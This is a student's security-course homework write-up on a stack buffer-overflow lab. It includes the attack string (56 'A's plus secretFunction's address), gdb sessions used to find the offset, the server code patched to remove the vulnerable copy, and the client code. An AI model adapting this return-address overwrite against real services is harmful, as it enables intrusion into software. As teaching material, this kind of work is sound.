Homework Number: hw8

Name: Jiaxing Yang

ECN Login: yang1274

Due Date: 4/02/2020

Buffer Overflow attack string:

```
Terminal
File  Edit  View  Search  Terminal  Help

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x4141414141414141) at malloc.c:3716
3716      if (chunk_is_mmapped(p))                        /* release mmapped memo
ry. */
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/shay/a/yang1274/cybersecurity/hw10/server 7779
bind failed: Address already in use

Program exited with code 01.
(gdb) c
The program is not being run.
(gdb) r
Starting program: /home/shay/a/yang1274/cybersecurity/hw10/server 7779
Connected from 128.46.4.61
@RECEIVED BYTES: 59AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

You weren't supposed to get here!

Program exited with code 01.
(gdb)
```

```
Terminal
File  Edit  View  Search  Terminal  Help
-bash-4.1$ ./client 128.46.4.61
Say something: 12312
You Said: 12312

Say something: ^C
-bash-4.1$ gcc -o client client.c -fno-stack-protector -g
-bash-4.1$ ./client 128.46.4.61
^C
-bash-4.1$ gcc -o client client.c -fno-stack-protector -g
-bash-4.1$ ./client 128.46.4.61
connect failed: Connection refused
-bash-4.1$ ./client 128.46.4.61
Say something: AAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\x40\x00
@ou Said: AAAAAAAAAAAAAAAAAAAAAAAA
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\
x40\x00
You Said:
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\
x40\x00
-bash-4.1$ ./client 128.46.4.61
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\
x40\x00
@ou Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Say something:
```

Explanation:

To start, we have to get the address of rbp and the address of the string, where they are as the following shows:

```
Connected from 128.46.4.61

Breakpoint 1, clientComm (clntSockfd=8, senderBuffSize_addr=0x7fffffffdfe0,
    optlen_addr=0x7fffffffdfb8) at server.c:104
104         int numBytes = 0;
4: /x $rbp = 0x7fffffffdf90
3: /x *(unsigned *) $rsp = 0xffffe0d0
2: /x *(unsigned *) $rbp = 0xffffdff0
1: &str = (char (*)[5]) 0x7fffffffdf60
(gdb)
```

The address of the rbp is 7fffffffdf90, and the address of the string from the client is 7fffffffdf60, where the difference will be 48bytes, then we know, 56 bytes will be needed, therefore, we know 56 As will be needed.

Then we have to find out the desired address of the secret function (The push's address):

```
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x0000000000400dc9 <+0>:     push   %rbp
   0x0000000000400dca <+1>:     mov    %rsp,%rbp
   0x0000000000400dcd <+4>:     mov    $0x400fd0,%edi
   0x0000000000400dd2 <+9>:     callq  0x400888 <puts@plt>
   0x0000000000400dd7 <+14>:    mov    $0x1,%edi
   0x0000000000400ddc <+19>:    callq  0x4008a8 <exit@plt>
End of assembler dump.
```

In this situation, the address is 00400dc9, therefore, the hex after the 56 As will be reverse order of 00400dc9 -> c9 0d 40 00

Server Code

```
/*
/ file : server.c
/-----------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//        Linux:               gcc server.c -o server
//        Solaris:             gcc server.c -o server -lsocket

// For running the server program:
//
//                server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by others.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10     /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5

int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr);
```

```c
int main(int argc, char *argv[])
{
    if (argc < 2) {
    fprintf(stderr,"ERROR, no port provided\n");
    exit(1);
    }
    int PORT = atoi(argv[1]);



    int senderBuffSize;
    int servSockfd, clntSockfd;
    struct sockaddr_in sevrAddr;
    struct sockaddr_in clntAddr;
    int clntLen;
    socklen_t optlen = sizeof senderBuffSize;

    /* make socket */
    if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("sock failed");
        exit(1);
    }

    /* set IP address and port */
    sevrAddr.sin_family = AF_INET;
    sevrAddr.sin_port = htons(PORT);
    sevrAddr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(sevrAddr.sin_zero), 8);

    if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
                sizeof(struct sockaddr)) == -1) {
        perror("bind failed");
        exit(1);
    }

    if (listen(servSockfd, MAX_PENDING) == -1) {
        perror("listen failed");
        exit(1);
    }

    while(1) {
        clntLen = sizeof(struct sockaddr_in);
        if ((clntSockfd = accept(servSockfd, (struct sockaddr *) &clntAddr,
&clntLen)) == -1) {
            perror("accept failed");
            exit(1);
        }

        printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));

        if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n"), 0) == -1) {
            perror("send failed");
            close(clntSockfd);
            exit(1);
        }
```

```
        /* repeat for one client service */
        while(1) {
            free(clientComm(clntSockfd, &senderBuffSize, &optlen));
        }

        close(clntSockfd);
        exit(1);
    }
}

char * clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr){

    //To eliminate the buffer overflow scenario, we can get rid of the which is the
str

    char *recvBuff; /* recv data buffer */
    int numBytes = 0;
    //char str[MAX_DATA_SIZE]; eliminate the str
    /* recv data from the client */
    getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr, optlen_addr);
/* check sender buffer size */
    recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

    if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0)) == -1) {
        perror("recv failed");
        exit(1);
    }

    recvBuff[numBytes] = '\0';
    if(DataPrint(recvBuff, numBytes)){
        fprintf(stderr,"ERROR, no way to print out\n");
        exit(1);
    }

    //strcpy(str, recvBuff);

    /* send data to the client */ //directly send the recv buffer to the client
    if (send(clntSockfd, recvBuff, strlen(recvBuff), 0) == -1) {
        perror("send failed");
        close(clntSockfd);
        exit(1);
    }


    return recvBuff;
}

void secretFunction(){
    printf("You weren't supposed to get here!\n");
    exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
    printf("RECEIVED: %s", recvBuff);
```

```
    printf("RECEIVED BYTES: %d\n\n", numBytes);
    return(0);
}
```

Client Code

```
/*
/ file : client.c
/---------------------------------
/ This is a client socket program.
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
//#include <arpa/inet.h>
//#include <unistd.h>

#define PORT 7777
#define MAX_DATA_SIZE 4096

int isHexChar(char c);

int main(int argc, char *argv[])
{
   int sockfd;
   int recvSize;
   unsigned char buff[MAX_DATA_SIZE];
   unsigned char sendDataBefore[MAX_DATA_SIZE];
   unsigned char sendDataAfter[MAX_DATA_SIZE];
   struct sockaddr_in servAddr;
```

```
   if (argc != 2) {
      fprintf(stderr,"Usage: %s <host IP address>\n", argv[0]);
      exit(1);
   }

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("socket");
      exit(1);
   }

   servAddr.sin_family = AF_INET;
   servAddr.sin_port = htons(PORT);
   servAddr.sin_addr.s_addr = inet_addr(argv[1]);
   bzero(&(servAddr.sin_zero), 8);

   if (connect(sockfd, (struct sockaddr *)&servAddr, sizeof(servAddr)) == -1) {
      perror("connect failed");
      exit(1);
   }

   if ((recvSize = recv(sockfd, buff, 30, 0)) == -1) {
      perror("recv failed");
      exit(1);
   }

   buff[recvSize] = '\0';

   char one[3];
   char two[2];

   /* repeat until "exit" input */
   while(1){
      printf("Say something: ");
      fgets(sendDataBefore, MAX_DATA_SIZE, stdin);
      int i;
      int j = 0;
      for(i = 0; i < MAX_DATA_SIZE ; i++){
      /*Allows hexstrings of the format \xXX (where XX is the hexadecimal number) to
be sent */
         if((sendDataBefore[i] == '\\') && (sendDataBefore[i+1] == 'x') &&
(sendDataBefore[i+2] != '\n') && (isHexChar(sendDataBefore[i+2])) &&
(isHexChar(sendDataBefore[i+3]))){
            one[0] = sendDataBefore[i+2];
            one[1] = '\0';
            two[0] = sendDataBefore[i+3];
            two[1] = '\0';
            sendDataAfter[j] = (unsigned char) strtol(strcat(one,two),NULL,16);
            i+=3;
         }
         else{
            sendDataAfter[j] = sendDataBefore[i];
         }
         j++;
      }
      /* if input is "exit", terminate this program */
```

```
      if(!strncmp(sendDataAfter, "exit", 4)) break;

      if (send(sockfd, sendDataAfter, strlen(sendDataAfter), 0) == -1) {
         perror("send failed");
         close(sockfd);
         exit(1);
      }

      if ((recvSize = recv(sockfd, buff, MAX_DATA_SIZE, 0)) == -1) {
         perror("recv failed");
         exit(1);
      }
      buff[recvSize] = '\0';
      printf("You Said: %s\n", buff);
   }
   close(sockfd);

   return 0;
}

int isHexChar(char c){
   if(c <= '9' && c >= '0'){
      return 1;
   }
   else if(c <= 'F' && c >= 'A'){
      return 1;
   }
   else if(c <= 'f' && c >= 'a'){
      return 1;
   }
   else{
      return 0;
   }
}
```